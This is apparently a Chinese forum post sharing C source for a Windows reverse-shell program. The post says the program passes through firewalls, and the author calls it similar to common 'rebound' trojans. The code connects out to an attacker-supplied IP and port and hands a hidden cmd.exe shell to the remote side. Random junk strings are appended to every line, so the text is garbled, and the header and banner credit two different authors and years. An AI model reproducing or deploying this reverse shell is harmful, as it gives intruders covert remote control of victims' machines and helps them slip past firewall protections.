这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &U7INUL
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/* ============================== }X?M6;$)
Rebound port in Windows NT wcW8"J'AH
By wind,2006/7 (eEs0
===============================*/ op5G}QZ
#include Tc.k0n%W:b
#include BK;Gh0mp
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#pragma comment(lib,"wsock32.lib") Oll,;{<O
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void OutputShell(); f:hsE
SOCKET sClient; !${7 )=|=1
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !]*Cwbh.
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void main(int argc,char **argv) JDp{d c
{ yMVlTO
WSADATA stWsaData; ;FfDi*S7
int nRet; 3 jR I@
SOCKADDR_IN stSaiClient,stSaiServer; K0xka[x=(
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if(argc != 3) C(@#I7 G
{ mJN*DP{
printf("Useage:\n\rRebound DestIP DestPort\n"); H.=S08c3kA
return; g*]/HS>e<G
} x4=Sm0Ro|V
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WSAStartup(MAKEWORD(2,2),&stWsaData); IF~E;
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ef~Ar@4fA
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stSaiClient.sin_family = AF_INET; fWk,k*Z9
stSaiClient.sin_port = htons(0); ta+MH,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); L5j%4BlK/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |9'`;4W
{ kfj)`x
printf("Bind Socket Failed!\n"); X"Ca
return; dgp1 B\
} ($or@lfs
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stSaiServer.sin_family = AF_INET; T
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z`]r)z%f
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ms%RNxU4:
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) UYw=i4J'
{ <reALC
printf("Connect Error!"); ='G-wX&k
return; 3LW_qX
} "&Rt&S
OutputShell(); pB5#Ho>S
} rHaj~s 4
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void OutputShell() !%X#;{
{ =8V
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char szBuff[1024]; Cno+rmsfT
SECURITY_ATTRIBUTES stSecurityAttributes; 1Wr,E#+C
OSVERSIONINFO stOsversionInfo; Nbvs_>N
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; P+:DLex
STARTUPINFO stStartupInfo; HE|XDcYO
char *szShell; uEui{_2$
PROCESS_INFORMATION stProcessInformation; {$xt.<
unsigned long lBytesRead; fK{m7?V
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )eD9H*mq
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); GTuxMg`
stSecurityAttributes.lpSecurityDescriptor = 0; nr]:Y3KyxX
stSecurityAttributes.bInheritHandle = TRUE; F?+\J =LT
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "K c/Cs2[
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ygq;jX
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); yQ!I`T>a
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <q.Q,_cW
stStartupInfo.wShowWindow = SW_HIDE; ?>/9ae^Bw
stStartupInfo.hStdInput = hReadPipe; '4ip~>3?w
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .L@gq/x)
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GetVersionEx(&stOsversionInfo); giYlLJA*}
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switch(stOsversionInfo.dwPlatformId) 8AQ__&nT
{ bYUG4+rD
case 1: H@!]5 <:9
szShell = "command.com"; `nrw[M?
break; %WF]mF T_
default: z5p5=KOb
szShell = "cmd.exe"; _J"fgxW
break; aY-7K._</
} Fs(FI\^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +3F%soum95
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send(sClient,szMsg,77,0); p?2^JJpUb
while(1) \,S4-~(:!
{ /b7]NC%
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Dbu>rESz
if(lBytesRead) ]?%S0DO*
{ `?G&w.Vs
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,GF]+nI89
send(sClient,szBuff,lBytesRead,0); ;-AC}jG
} XR_Gsb%l
else 46##(4RF
{ tj4/x7!
lBytesRead=recv(sClient,szBuff,1024,0); 3O*^[$vM
if(lBytesRead<=0) break; Ozg,6&3ji
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); C2{*m{
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} fSVb.MZa7
} _9C,N2a{C
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return; (YM2Cv{4
}